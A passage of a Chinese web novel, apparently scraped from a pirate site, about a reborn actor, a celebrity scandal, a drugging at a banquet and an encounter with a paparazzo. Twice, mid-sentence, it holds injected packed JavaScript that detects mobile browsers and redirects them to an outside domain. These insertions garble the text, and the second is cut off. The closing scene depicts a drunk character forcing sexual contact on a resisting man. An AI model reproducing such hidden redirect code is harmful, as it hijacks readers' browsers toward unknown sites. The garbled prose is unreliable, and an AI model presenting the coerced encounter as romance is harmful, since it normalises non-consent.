他说完不等席年回答,转身离开了,干净又利落,房门被带上发出砰的一声轻响,室内就此陷入寂静,只有窗外树影婆娑,间或一阵凉风吹来,将帘子鼓弄得起伏不定。 席年看着他离去,在原地站了许久都没动,直到腿都有些僵麻的时候,才终于在沙发上缓缓落座,他眼角余光不经意扫过茶几,却发现那叠装着照片的信封静静躺在上面,没有被陆星哲带走。 “……” 可能是忘了。 席年收回视线,心里却没什么捡漏的快感,他躺倒在沙发上,用手背覆住眼皮,挡住天花板上有些刺目的光线,半晌都没动。 人类的情绪太过复杂,系统偶尔会就近观察一下,它静悄悄落在沙发扶手上,然而还没等分析出什么,耳边就响起了一道带着些许警告的低沉声音:“离我远点。” 系统闻言扑棱着翅膀,下意识飞到了茶几上,有些懵懵的。 席年睁眼看向它,略微坐起身:“出来干什么,想电我?” 系统:【你怎么知道】 席年:“……” 系统只是和他开个玩笑:【在不违背道德与法律的前提下,系统无权干涉宿主感情以及对配偶的选择权】 席年又躺了回去:“就算你不电,我也不会答应的。” 他又不傻,上辈子被陆星哲反咬弄得身败名裂,这一世怎么可能再往上凑,只是蒋伦的事依旧有些棘手。 娱乐圈的热度具有时效性,席年昨天才凭着星运会初赛上的精彩表现大肆圈了一波粉,翌日苏格的经纪团队就有了动作开始频发通稿,除了新拿下的高奢代言外,还有几张体育馆冒雨和粉丝互动的路透图,吹实力吹宠粉,靠着庞大的粉丝流量直接把席年的热搜给压到了第三。 陆星哲半夜洗完澡从浴室出来,登进微博一看,满屏都是苏格的飘红热帖。 【QAQ苏苏太宠粉了吧,下这么大雨还给粉丝签名,好担心他感冒】 【居然拿下了欧琳的亚太区代言,男星里面独一份了吧,就问问还有谁!】 【苏苏人超好的,笑起来好温柔好温柔,那天给我签名还一直提醒粉丝早点回去注意安全】 【给我家苏苏排面,想上热搜分分钟的事好不好,不像某些男星,可能十年八年也上不了一次】 得势猖狂,不过如此,陆星哲点了根烟,湿漉漉的黑发还滴着水,有一缕掉在额前,将皮肤衬出了一种毫无血色的苍白,他的唇色有些淡,缓缓吐出烟雾,连带着周遭景物都跟着模糊起来。 电话在桌上嗡嗡响了许久,陆星哲把手上的烟抽完了,这才接听:“什么事?” 那头响起蒋伦有些不虞的声音:“怎么这么久都不接电话,让你拍的东西有着落了吗?” 他指席年的黑料。 陆星哲眯了眯眼,把早就燃尽的烟头在烟灰缸上一下又一下的碾着:“没拍到,这单生意我不接了。” 蒋伦似乎不大信,语气都跟着疑惑了几分:“你确定没拍到?” 陆星哲随口瞎编:“前几天出车祸,腿骨折了。” 他说完也懒得再继续应付这只老狐狸,直接挂断了电话,把手机咣的一声扔回桌面,旁边放着一个小小的黑色U盘,陆星哲看了半晌,目光沉默。 狗仔这个身份不仅名声烂臭,见不得光,也上不了台面。 他早就知道的。 陆星哲在网上有很多用来爆料的小号,他静坐了很久,最后打开微博,登陆了其中一个粉丝数量最多的大V号,然后把U盘插进电脑,导入早就剪好的视频。 时间已经到了后半夜,正是熬夜党最活跃的时候,当各家追星女孩正在给爱豆刷榜投票灌群的时候,一段视频正在悄无声息的飞速扩散。 发布视频的人是微博认证的某娱乐区大V,虽然身份信息对外不详,但经过他手爆出来的明星黑料个个都是雷神之锤,所以相当具有可信度。 当一众网友发现他更新了动态之后,秉着吃瓜至上的娱乐精神,纷纷跑到微博底下围观,然而待看清内容之后,一口瓜直接吃的稀碎。 这段视频不超过两分钟,里面的两个主角大家也都不陌生,就是最近风头正盛的席年和流量偶像苏格。 两个人都在休息室,交谈的内容……确切来说是苏格单方面说话的声音,大家都听得一清二楚。 ——恭喜你了,第一名。 苏格走到饮水机前,接了一杯水。 ——你很得意? 席年没理会,背着包准备离开,却被他拦住。 ——才几点就打算走?不留下来看看后面的比赛? 画面里的苏格和在媒体镜头前的样子简 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也许是苏格平时营销人设太过成功,骤然曝出这件事,冷不丁让人有三观破碎的感觉,然而这还不算完,发帖的博主紧随其后,又po出了几张苏格比赛时的手部特写和其微博的受伤图进行对比,实锤他假伤。 网友:!!!! 震惊到无法fu吸,世界上怎么会有苏格这么狗的人,假受伤博同情就算了,居然还用开水泼人,席年太惨了吧,前段时间不仅一直被他家粉丝网暴,还得在受伤的情况下参加比赛,什么人间惨剧! 路人尚且都这么气愤同情,更遑论席年的粉丝,一个个听闻消息气的差点原地去世,恨不得抽出八万米长刀砍死苏格祭天。 真狗啊,太狗了。 真毒啊,太毒了。 苏格是怎么有脸烫伤了席年之后心安理得的出现在媒体面前,他不心虚吗?他不愧疚吗?席年给他甩冷脸都轻了,就应该甩一巴掌啊! 消息很快传的全网皆知,其中就包括苏格的粉丝,不同于从前霸屏撕逼的气势汹汹,这次她们罕见的沉默了下来,无声消化着这件令人震惊且失望的事。 她们是看着苏格出道的…… 从一个籍籍无名的练习生,一步一步走到今天的位置,那个时候苏格年纪小,又远在韩国,总是被欺负,被孤立,团队成员平均下来几分钟的镜头,到他身上就只剩了几秒。 粉丝心疼,但也无能为力。 后来苏格人气爆火,流量攀升,有更多的人认识了他,她们既高兴又欣慰,因为在娱乐圈,有了流量才不会受欺负。 但原来,人是会变的…… 视频铁证如山,粉丝这下就连帮他解释洗白都做不到,图还能说是强行p的,视频总不可能是伪造的吧,而且这几年苏格私下里传出来的负面新闻不在少数,只是因为没有实锤,所以粉丝不愿相信。 她们想保护苏格,却无形之中成了他手里的刀,不分对错的伤害了太多人,这和当初欺负苏格的人有什么两样? 消息风一样肆虐全网。 比较理智一点的网友已经开始陆陆续续脱粉,几大应援站的头像也黑了一个,随着事件热度不断发酵,直至登顶热搜,期间有人路转黑,有人粉转路,但也仍然有人不肯相信苏格会做出这种事,两极分化争吵不休,骂战四起。 简而言之,苏格塌房了。 16. 持续争议 人心都是偏的,虽然有少数较为理智的网友及时抽身离开,但大部分粉丝跟了苏格这么久,说没感情是假的,震惊过后,出于私心开始不自觉的替他找理由。 苏格的几个大粉头率先跳出来安抚人心: 【一个视频说不了什么,我相信苏格不会做这种事的,我愿意等他出来解释,姐妹们千万不要自乱阵脚,越是紧要关头,我们就越不能被有心人利用了】 【我粉了苏苏整整五年,不管怎么样,我都不会在这种关头离开他,那些脱粉的人,难道你们对苏格一点信任都没有吗】 【视频模模糊糊,凭几张截图不能断章取义,他可能确实没走稳,才会不小心把水泼在席年身上……】 【其实现在科技这么高,图片能p,视频也不是不能p啊】 她们能说出这些话,或是粉丝滤镜太厚,又或是那杯水没真切的泼在她们身上。 这下不仅是席年的粉丝,就连吃瓜路人也看不过去了,做人可以不要脸,但不能不要脸到这种地步,你们但凡有点三观和道德就不会继续粉苏格还帮他说话了。 只要眼睛不瞎的人,都能看出来他是故意假摔,再说了,他放着现成的温水不喝,非要接一满杯开水,无情铁嘴不怕烫吗?! 就在全网因为这件事而闹得不可开交的时候,苏格一直没上线,工作室团队也静悄悄的,没有给出一个正面解释。 苏格的粉丝纵横粉圈多年,瞎编乱造什么话都编得出来,不知道是不是暗地里收买了水军,没过多久就流言四起。有人说席年买热搜用这件事踩着苏格上位,也有人说他大惊小怪,被泼了一下而已就借故炒作,直接把网友的注意力从“苏格伤人”转移到了“席年是否有意炒作”上。 席年的粉丝因为这件事迫不得已临时组建了一个粉丝群,集体商量怎么把黑粉压下去,遇到恶意抹黑就直接举报申诉,频繁转发之前的视频扒皮帖,让更多人看清苏格的真面目,但因为人数过少,收效甚微。 群主气愤发言:【气死了气死了,席年刚出道我就粉他了,超话凉的寸草不生,走大街上都没人认识,他要是炒作早就炒作了,还用等到今天】 【就是啊,席年一直都是个小糊豆,没钱没资源,怎么炒作,还买热搜?想买热搜都得先把房子卖了再说】 【……他没房子,在山行娱乐给艺人安排的小公寓里面住了好几年了】 【我去翻了一下,席年出道至今发的微博连两条都没有,比我爷爷还少,他哪里像炒作的,简直像路边炒饭的】 群里因为以上几段对话陷入了死一般的寂静,半晌后,终于有人冒了泡。 【算了,要不就让她们撕吧,换个角度想也是好事,说不定席年就这么火了……呢?】 因为粉丝群是临时组建的,来不及查身份,无形之中就混入了不少各路鱼龙混杂的人,都想看看席年的粉丝私底下都在商量些什么,结果没想到看见了这一幕…… 众人心里不约而同冒出了一个念头:席年的粉丝都他妈有毒吧? 第二个想法就是,惨啊,真惨啊,人间实惨啊。 有好事者把对话截图流传了出去,吃瓜网友看见直接笑的满地找头,这绝壁是假粉吧,从没见过哪家粉丝指名道姓说爱豆又穷又糊又凉的,这插的不是刀,是倚天剑好吗。 席年上辈子乃至这辈子从没认真打理过他的社交账号,至于孙铭就更不会管了,众人翻啊翻,翻啊翻,翻来覆去只翻到两条相当官方的微博动态,一条是半年前的,另一条比较近,是三个月前的,从头到尾都透着一股与世无争的气息。 娱乐圈近些年因炒作爆红的明星不在少数,或高或矮,或美或丑,不一一列举,但无一例外都有一个共同点,那就是特别能作,在微博搅风弄雨,堪比哪吒的混天绫,但像席年这么安静的,还是头一个。 他凉的时候,默默无闻,登顶热搜的时候,安静如鸡,以至于众人忘了,他才是受害者。 这个夜晚注定不平静,但时间却没有因此多停留片刻,悄无声息的从指缝间溜走,牵引着一丝天光从云层倾泻下来,将屋子照得明亮温暖。 席年大多数时候都不玩手机,翌日清晨他醒来的时候,打开手机一看,这才发现自己又上了微博热搜,而且词条奇奇怪怪,简直莫名其妙。 #席年人间实惨# #苏格人设崩塌,场下陷害对手视频流出# #席年炒作# 席年昨天睡的很早,但一晚上都没怎么睡着,头还在突突的疼,他不着痕迹皱眉,在网上把所有的吃瓜贴全部翻了一遍,这才明白发生了什么事,然而他在意的却不是苏格,而是最开始曝光视频的那个大V博主。 席年上辈子也算把陆星哲利用了个遍,对他手上的底牌堪称知之甚详,当然记得他平常发帖的小号,但就是因为这样,才更加想不明白。 陆星哲小气又记仇,昨天被拒绝了,不暗地里坑他一把都算稀奇,又怎么会无缘无故帮他,不应该是这样的。 不该是这样的…… 席年蓦的出声:“他为什么要帮我?” 明明这次他没给陆星哲任何好处。 席年微微眯眼,不知道是在问自己,还是在问别人,话音落下,空气中只余寂静。 系统出于同情,好心理了他一句:【世界上没有纯粹的坏人】 无论多么穷凶极恶的人,心中都该存着一丝善念,卑劣如陆星哲,也有不愿去违背的人或事,只是某个时刻席年被利欲遮眼,当时看不清楚,之后就再也看不清楚了。 席年狠狠皱眉,须臾又松开,他从衣柜里拿了件外套,然后带上口罩出门,驱车前往体育馆,刚才的一句问 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大概因为众人都去看热闹了,简姐倒是难得清闲,她双手抱臂,摇了摇头道:“今天录制宣传片,但不知道怎么回事,沈希琳特意定做的赛服被人剪烂了,鞋子还被人放了碎玻璃,刚刚才送去医院,她的经纪人因为这件事跟导演和安保吵起来了。” 席年:“查出来没?” 简姐表示不知道:“正在调监控呢,也不知道谁这么缺德,沈希琳是女艺人里面难得的唱跳全能,万一以后都跳不了舞,不仅比赛要退出,新歌MV也得暂停,损失无法估量,怪不得她经纪人那么生气,不过女艺人私底下勾心斗角的事多了去了,这都不算什么。” 别看席年和苏格最近频上热搜,女艺人那边也不见得有多消停,不仅要比美比身材,还得比代言比衣服,免不了被拉出来对比,沈希琳漂亮而且人气高,暗地里不知道多少人嫉妒。 席年点点头,没再说话,简姐看了他一眼,视线又落在他手上,不知道为什么,忽而叹了口气:“微博上的事我都听说了,你也真够能忍的,泡都不冒一个,我淘汰赛的时候就觉得你手不对劲,原来……” 席年在旁边的饮料机买了瓶可乐,三两下拧开瓶盖,发出呲的一声汽响:“冒泡了也不会对结果产生影响。” 简姐知道他在指什么:“我是过来人,娱乐圈红红黑黑的我看的太多了,苏格的粉丝现在还愿意维护他,无非是刀没插在她们自己身上,有时候想想也挺替她们可悲的,追了一个人那么多年,连他的真实面目都没看清。” 席年不知想起什么,顿了顿。 在走廊那头,导演好说歹说总算把沈希琳的经纪人劝了下来,又火急火燎的催着众人录宣传片,席年从化妆室出来,看了一圈,发现苏格没来,乐了。 挺好。 不然看见他那张挨千刀的脸就想打。 17. 陆星哲…… 节目宣传片录制了一整…… 节目宣传片录制了一整天,直到下午导演才肯放他们走,席年换了衣服正准备离开,谁曾想刚出门口就被简姐堵了个正着,她似乎是一路跑过来的,举着手机上气不接下气的道:“席……席年,你看了微博没有,苏格家的粉丝闹起来了!” 席年闻言第一个反应就是又撕逼到自己身上了,而简姐似乎看出他在想什么,连忙摆手解释道:“这次跟你没关系,是她们自己内讧,你快上微博看看就知道了。” 席年闻言立刻登录微博,这才明白发生了什么事,简而言之,这是一件不慎被牵扯出来的“冤案”。 沈希琳出了那么大的意外,再加上她经纪人那么一闹,媒体怎么可能没收到消息,一传出去几乎全网皆知,粉丝都在闹。 被剪坏的赛服一直存放在更衣室,但门口的闭路电视被人为损坏,并没有拍到凶手的样子,不知是谁扒出了体育馆的监控视频,想通过走廊经过的人群来排查出凶手,然而这一扒不要紧,凶手没扒到不说,把苏格给扒出来了。 这是一段很短的视频,内容也并不惊心动魄,但落在粉丝眼里,却比什么恶毒言语都来得令人心凉。 画面中,一名男子在助理的簇拥下走向电梯口,通过身上所穿的定制礼服,有人辨认出那是苏格,只见他手里拿着一个蓝色的礼物盒,在经过垃圾桶时打开看了一眼,然后直接扔了进去。 轻飘飘的,动作干脆又利落。 视频声音并不是很清楚,但仔细听也能隐隐约约听出几句苏格和助理的对话。 ——毕竟是粉丝送的……扔了……太可惜…… ——有什么可惜……街上……一大把 他们很快离开了,背影消失在走廊尽头。 在普通网友看来,这充其量只是一件品德败坏的事,看完骂两句,乐一会儿也就过去了,实在不值得放在心上,但没想到,这次大家放过了苏格,他的粉丝却没放过。 首先按照苏格粉丝一惯的尿性,她们当然怀疑这是p的,立刻找人鉴定了视频,但显示没有被做过手脚,紧接着她们又开始七嘴八舌的讨论,视频不够清晰,看不清楚,也许那个扔的不是粉丝送的礼物,也许那个只是普通的盒子。 她们编了千百种理由,然而就在这时,苏格的一个大粉之一【苏嘻嘻】忽然悄无声息把头像给黑了,所有微博全部清空,只剩下刚发的一段微博短文。 【@苏嘻嘻 老实说,我从来没有想过有一天会以这样的方式和苏格告别,他十七岁出道,今年二十七岁,算起来我追他已经整十年了,说长不长,说短不短。 视频我看过了,大家也不必再胡乱猜测什么,苏格扔的东西确实是礼物。 因为是我亲手送给他的,蓝色白点图案,黄色蝴蝶结,里面一个玻璃瓶,装了9999颗亲手折的星星,折了两年。 可能太便宜了吧,也不值钱,所以被扔了。 看到视频的时候,我在电脑前坐了一下午,感觉自己像个傻子。 心里说不难过是假的,但忽然又有了一种释然,其实这么多年,一直帮他维护名声,熬夜不睡觉帮他压负面新闻帮他撕黑粉,虽然自己没察觉,但已经很累了,尤其在证据确凿的情况下,还要帮着他找理由,欺骗自己,欺骗别人…… 还有很多话想说,但又不知道该说什么了,这篇文章就当和大家做个告别,这个号以后不会再用了。 最后,在这里向所有被我无辜撕过的人道歉,还有,谢谢那个愿意把它捡起来的人……】 苏嘻嘻是跟了苏格十年的老粉,绝对的元老级人物,她悄无声息发出这样一篇动态,不啻于平地惊雷,格子粉面面相觑,一时竟都不知道该说些什么。 以前她们尚可以为了苏格找理由,但这次,刀直接插到了自己身上,还要继续护着他吗? 格子粉发生了内战,一个大粉率先撂挑子不干,退群的时候只冷冷甩了一句话:我不想我的喜欢被别人当做垃圾在地上踩,你们喜欢就继续粉吧,我退出。 期间她们内部粉丝群发生了什么,网友并不清楚,只知道经过一整天的时间,苏格的应援群悄无声息解散了好几个,其中一个大站子也宣布黑屏,微博疯狂掉粉,唯有仅剩的一拨人孤立无援。 网友吃瓜的同时,也注意到了苏嘻嘻文章里的最后一段话,纷纷开扒她所说的那个人是谁,谁曾想不到一分钟就破了案。 【把视频看完就知道是谁了,这个人你们一定想不到】 大家闻言还没明白发生了什么,只得又耐着性子跑去把视频后半段刷完,这才惊讶的发现那个捡起礼物的人居然是席年。 在观众的记忆里,他大部分时间都是静默的,被人撕了不出声,被人欺负了也不出声,身边总是围绕着无数争议,导致路人缘太差,但偏偏就是这个最不可能的人,做了她们最想不到的事。 画面中苏格离开没多久,一抹身影就出现在了拐角的走廊处,赫然是席年,他大概是比赛完想坐电梯离开,但碰巧看见苏格丢东西的这一幕,所以等电梯的时候,目光一直频频落在垃圾桶上。 是个人都能看出他的犹豫。 然而过了几秒,席年到底还是折身返了回去,大概是出于可惜,他蹲在脏兮兮的垃圾桶旁边,耐着性子翻找了半天,最后才找到那个玻璃瓶,然后转身去卫生间洗干净,放在长椅上,这才离开。 一段视频,前后却是截然不同的反差。 有人把粉丝的心意弃若敝履,也有人愿意不顾脏污的把它捡回来。 网友上一刻对着苏格杀杀杀,下一刻又对着席年呜呜呜,谁说娱乐圈没有好爱豆,只是她们以前眼瘸没遇上而已,之前还以为席年是个搅事精,今天一看分明是人间天使好吗! 年糕疯狂点头,更有甚者po出了视频:【那天比赛下雨,他专门跑去找工作人员帮我们借伞借雨衣,结果因为雨衣不够,自己身上都淋湿了,哥哥看起来冷冰冰,但超好超好的】 网友:QAQ这样的爱豆是真正存在的吗? 娱乐圈的风向一直转的比龙卷风还快,一夕之间就大变样,后面的评论太多,席年没再细看,他关掉手机,心想估计得有一段时间再也不用看见苏格了,山行对这方面的丑闻一向惯例都是冷处理雪藏,没个三五年想复出简直是做梦。 简姐笑了笑,似乎在替他高兴:“恭喜你了。” 席年习惯性想勾唇,但想起他上辈子的结局跟苏格差不多,弧度又渐渐淡下。 此时他才陡然意识到,这一世已经不一样了。 好不容易培养出的顶流糊了,山行不可能没动作,席年回家的时候,直接被孙铭在门口给堵了个正着,对方一改从前的趾高气昂,看向他的目光讨好又谄媚,竭力装出一副亲近样:“席年,大老板有点事想找你谈谈,毕竟最近发生的事情太多了,难免有误会,都是一个公司的,面对面说清楚比较好。” 席年挑眉:“想给苏格求情?” 岂料孙铭连忙摆手:“没苏格的事,公司已经准备把他雪藏了,我这次私下给你透个风,其实大老板想捧你。” 后面几个字他说的很小声,看起来有些高深莫测。 想想也是意料之中的事,这次苏格倒了,最大的获利人是席年,反正都是一个公司,捧谁不都一样? 席年没兴趣,又见孙铭挡住门口,正准备一把将他扯开,但忽然想起自己跟山行的合约还有半个月就到期了,解约的事也该提上日程,思考一瞬,改口答应了:“行,那就谈谈。” 孙铭眉开眼笑:“就知道你是聪明人,凯旋酒店,大老板已经定好了酒席,走吧。” 能出来经商的都有几分奸诈,更何况娱乐圈这样吃人不吐骨头的地方,欧阳山行一看面相就是老谋深算不吃亏的主,五十岁上下的年纪,身形精瘦矮小,公司的人一般都称呼他为大老板。 席年在孙铭的带领下走进包厢的时候,这才发现蒋伦也在场,他环顾四周,见还有其他人,然后对着主位上的欧阳山行礼貌一笑:“大老板。” 欧阳山行起身和他握手,示意他坐下,这才重新回位,笑眯眯的样子很容易让人卸下防备:“席年啊,最近的一些事我听说了,这是公司的失误,让你受委屈了。我已经骂过蒋伦了,也怪我前段时间出差,没能及时处理这件事。” 蒋伦脸色难看。 席年知道他在推卸责任:“哪里的话。” 欧阳山行见他识趣,笑意更甚:“不知道孙铭和你说了没有,公司已经决定暂停苏格一年的活动,让他好好反省一下。” 娱乐圈更新换代太快了,一年,相当于断了以后的出路,这算是欧阳山行拿出的诚意,但席年不为所动,他知道就算苏格复出也没用,观众不会再买账,这老狐狸不过动动嘴皮子就想施恩惠。 席年笑笑,没说话,看起来似乎不大满意。 桌上还有其他人,见状也跟着一起劝说,推杯换盏十几个来回,欧阳山行才终于道出今天的目的,状似醉醺醺的道:“席年啊,你是个有潜质的新人,不比苏格差,我相信如果好好培养,你的成就一定会高过他,我是个爱才惜才的人,也不想把你埋没了。” 说着挥挥手,身后的秘书立刻从包里拿了一份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891945|176506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文件出来,席年刚才被他们刻意灌了不少酒,但意识还是清醒的,粗略一扫就发现这是份续约合同,为期…… 三十年。 …… 傻逼才会签。 欧阳山行像是喝醉了,踉踉跄跄起身,拍着席年的肩膀道:“以后公司一定会倾尽资源栽培你,只要你签了合同,大家就是一家人……” 席年原本还打算提解约的事,见状立刻歇了心思,现在提他们一定不会同意,就算同意了估计也会在剩下的半个月死命压榨他,不如等到最后几天再说。 席年刚才被灌了不少酒,他垂眸解开衣领,呼吸沉重,看起来似醉非醉,并不搭腔。蒋伦从头到尾一直没出声,见状忽然道:“大老板,我看席年好像喝多了,让服务员上点醒酒汤吧。” 欧阳山行点头,很快有服务员来送汤,蒋伦盛了一碗放到席年面前,抽惯烟的嗓子粗哑难听:“苏格的事我也有责任,在这里向你陪个罪,希望你别见怪。” 席年还是不信。 他谁也没信过。 席年慢半拍看向蒋伦,因为酒意上头,脸和脖子都是红的,他故意含糊不清的说话:“不会。” 蒋伦闻言笑了笑:“赶紧喝点汤,看不出来你年纪轻轻,酒量这么差。” 当着他的面,席年只能略微沾了几口汤,又见欧阳山行在一旁虎视眈眈,似乎在等着他醒酒签合同,他心知再坐下去就不好收场,起身借故开溜:“不好意思,去一下洗手间。” “你路都走不稳了,找个人扶你,免得摔了,”蒋伦说完又对欧阳山行的女秘书道:“英子,你扶席先生去。” 搀扶而已,男人不是更方便,何必找一个年轻貌美的女秘书,席年已然察觉到不对,看了他一眼:“不用麻烦,我自己去就好。” 不知道是不是这辈子酒量没练出来的缘故,后劲上来,眼前已经开始发虚,连带着脚步都有些不稳,席年出了包厢,敏锐察觉到不对,正准备去洗手间把刚才喝的东西吐出来,一双柔软的手臂忽然搀住了他:“席先生,我扶你去吧,这里楼梯多,可别摔着。” 是欧阳山行的女秘书,她穿着一身很抢眼的红色吊带裙,曼妙的身躯紧贴席年。 席年一把推开她,但女子像牛皮糖似的又贴了上来。 在一楼大厅的拐角处,有一部相机悄悄对准了他们,记者确定男女的姿势够暧昧后,咔嚓按下快门,谁曾想肩膀忽然被人从后面攥紧,吓得魂都快飞了,他一回头,却见是一名带着鸭舌帽的黑衣男子。 对方声音低沉,没什么情绪起伏:“相机交出来。” 记者正欲拒绝,谁知肩头忽然传来一阵剧痛,紧接着自己的相机就落到了对方手上,只见黑衣男子把里面的照片和记录删干净,这才把相机丢还给他:“再敢乱拍,后果自负。” 那记者闻言一顿,误以为是工作人员,反应过来立刻手忙脚乱的把相机收拾好,匆匆朝门口走去:“谁乱拍东西了,神经病。” 陆星哲眼见他离去,顿了顿,这才把视线转回楼上,却见席年一把推开那名女秘书,径直冲向了洗手间。 常在河边走,哪有不湿鞋,席年万万没想到以前只有他阴人的份,这次竟被人阴了一把。他在洗手台边用冷水洗了把脸,意识却越来越模糊,头重脚轻,靠着墙壁缓缓下滑,半天都没能站起来。 系统现身,正准备让他醒醒,谁曾想看见洗手间又进来一个人,连忙缩回去了。 陆星哲这次还真不是故意跟踪席年,刚好他新接了一单生意,跟踪目标也在酒店,谁知道那么巧就碰上了。 他双手抱臂靠着门框,一双漆黑的眼掩在帽檐阴影下,面无表情隔空打量着席年,像是在看好戏,又不太像。 洗手间这个时候没什么人,几秒后,陆星哲走到席年身边,踢了踢他的腿:“醒醒。” 席年还有些许意识,被人一踢,恢复几分神智,勉强挣扎着从地上起身,然而因为脚步打晃,一个趔趄直接摔向了陆星哲。 后者不知道为什么,没躲开,于是二人撞了个满怀。 洗手间暖调的灯光富丽绰约,席年眼前都是虚无缥缈的影,恍惚间,他已经分不清前世今生,只能勉强借助面前的人站稳身形。 陆星哲没动,用一种审视的目光打量着席年,片刻后,忽然烦躁反应过来面前这个人拒绝过自己,没必要多管闲事,皱眉想把他推开。 “陆星哲……” 席年忽然低低呓语出声。 他意识依旧混沌,看不清扶着自己的人是谁,只是凭借熟悉的气息,下意识叫出了这个名字。 18. 没眼看 陆星哲动作一顿,以为他在装醉,面无表情捏住席年下巴,迫使他看向自己,结果只对上一双涣散且失去焦距的眼睛,刚才的一声呓语似乎只是错觉。 “……” 陆星哲睨了他半晌,指尖微动,似乎在思忖着该怎么办,就在这时,外间忽然传来一阵杂乱的脚步声,像是有人来了。 席年现在也算公众人物,不比从前无人问津的时候,陆星哲不着痕迹往门外扫了眼,然后飞快摘下自己的帽子给席年戴上,当机立断把人带离了洗手间。 门外只是几个喝的醉醺醺的生意人,陆星哲扶着席年与他们擦肩而过,并没有引起任何注意,他们一路出了酒店门,车就停在马路边。 期间席年没有任何反抗,也没有撒酒疯,安静得完全不像一个醉鬼。 陆星哲一边觉得自己狗拿耗子多管闲事,一边拉开后车门毫不留情的把人推了进去,然后砰的一声关上车门,绕到驾驶座发动车子。 街上车水马龙,霓虹闪烁,车后座却是一片昏暗,席年只感觉有什么东西扼住了他的脖颈,呼吸声沉凝,一阵重过一阵,无数交错的片段在脑海中飞速闪过,压迫着摇摇欲坠的理智。 席年也曾有风光的时候,但就是因为经历过风光,才难忍最后的一败涂地。 卑劣自私的人不会自己寻死,因为他们爱惜自己胜过一切,席年却是例外,他气性太高,当有一天所得到的荣光和赞美离他而去,这比要了他的命还难受。 他在意的其实有很多,但清醒的时候,并不会被任何人看出来,包括他自己,今天却在阴暗昏沉的角落,连着酒意一起,尽数翻涌。 陆星哲点了根烟,星火一点点吞噬着烟丝,又化作烟灰,最后被窗外的风一吹,掉落在裤腿上,他往后视镜中扫了眼,看见自己眉头紧皱。 车子一路飞驰,最后停在了席年家楼下。 陆星哲把他从车后座拽出来,然后把掉落在座椅间的帽子捡起给他重新扣上,避开深夜街头零星的几个路人,坐电梯上了楼。 席年醉的似乎愈发厉害,他半醉半醒的睁开眼,瞳孔漆黑而幽深,最后终于看清搀扶自己的人是陆星哲,冰凉的指尖用力扣住他后颈,问题似是而非:“你为什么要来……” 席年脚步虚浮,仍在打晃,却忘不了上辈子死时众叛亲离,一无所有。 陆星哲从他口袋里找出钥匙开门,只见室内一片漆黑,闻言只当席年在说醉话,并不理会,在墙上摸索着准备开灯,岂料被人按住了手腕。 席年声音低沉,一字一句的问他:“为什么要来?” “看我的笑话?” 呼吸紊乱,指尖冰凉,掌心却一片滚烫,呼吸交织时酒意深重。 陆星哲没懂他在说什么,却听出了话语中隐隐的敌意,心中顿时烧起一把无名野火,他攥住席年的衣领,冷冷低笑:“你那么能耐,怎么还会被人拍照片?” 说完一把推开席年:“我算什么,怎么敢看大明星的笑话。” 陆星哲眉眼都是讥诮,他把钥匙当啷一声扔到茶几上,准备转身离开,然而还没走出门口,就被人一把拉回来,攥住肩膀用力抵在了墙上。 陆星哲瞳孔一缩,条件反射就要推开那人,谁知道被愈发用力的按住,那人似乎知道他弱点在哪儿,挣扎间磕碰到左腿伤势,疼得陆星哲面色苍白,冷汗尽出。 窗外月色冰凉,斜斜照进客厅,席年俊美的面容半边陷落在阴影中,显得模糊不清,他死死扣住陆星哲,似乎是怕人离开,贴着他耳畔问道:“为什么要走……” 他皱眉问道:“为什么要走?” 问为什么来的是他,问为什么要走的也是他,陆星哲扫了眼自己被攥住的肩膀,又看向席年,意味不明的道:“之前嫌弃我是个狗仔,现在又不让我走,席大明星,当又立不是这么玩的。” 后面一句带着些意味深长,实在毒舌。 席年说:“不能走。” “你不许走……” 他不知道为什么,像是入了魔障,反反复复就是这一句话,再就是低声念着陆星哲的名字,最后冰凉的指尖扣住他后脑,顺着耳垂亲了过去。 陆星哲感受到脸侧温热的气息,心跳顿停,反应过来立刻就要把人推开,然而席年似乎十分熟悉他的身体,指尖隔着衣服轻挠他的腰间,痒意顿起,气力顿泄。 陆星哲觉得他在耍自己,眼底深处燃起怒火,揪住席年衣领,一字一句,冷冰冰问道:“你知不知道你在做什么?” 岂料席年覆上他手背,然后缓缓扣紧,声音低沉性感,带着几分醉意的认真:“嘘,我知道……” 他其实什么也不知道,他只知道自己不想让陆星哲走。 席年揽住陆星哲的腰,在黑暗中一路寻觅到卧室,然后跌跌撞撞倒在床上,因为磕碰到伤腿,陆星哲忍不住闷哼出声。 席年恍惚间还以为他是个瘸子,居高临下撑在他身侧,掌心无声落在他膝盖上,顺着陆星哲性感的锁骨一路亲到唇边,含糊不清的问道:“很疼?” 陆星哲瞪大眼望着天花板,怎么也不明白他只是送席年回家,怎么就发展成了这个样子,他想挣扎,却被男子精壮的身躯死死压住,怎么也聚不起力气。 陆星哲连声音都哑了,浑身颤抖:“席年,你他妈的……” 只说了几个字,后面半句话怎么都骂不出来。 陆星哲的裤子在黑暗中悄无声息落了地。 他左腿的伤已经结了疤,但因为不长记性,总是往外跑,所以还是疼得钻心。 席年沉下身躯,一切凭借着本能驱使,在他伤口周围落下密密麻麻的吻,继而一路往上,然后寻到了陆星哲殷红的唇,吻上去极富技巧的辗转厮磨。 陆星哲的腿现在不是疼,是麻,他双手被席年按住动弹不得,只能竭力偏头避开男子堪比罂.粟的吻,然后哑声问他:“我是谁?” 席年并不回答,似乎吻上了瘾,在他细腻光洁的皮肤落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 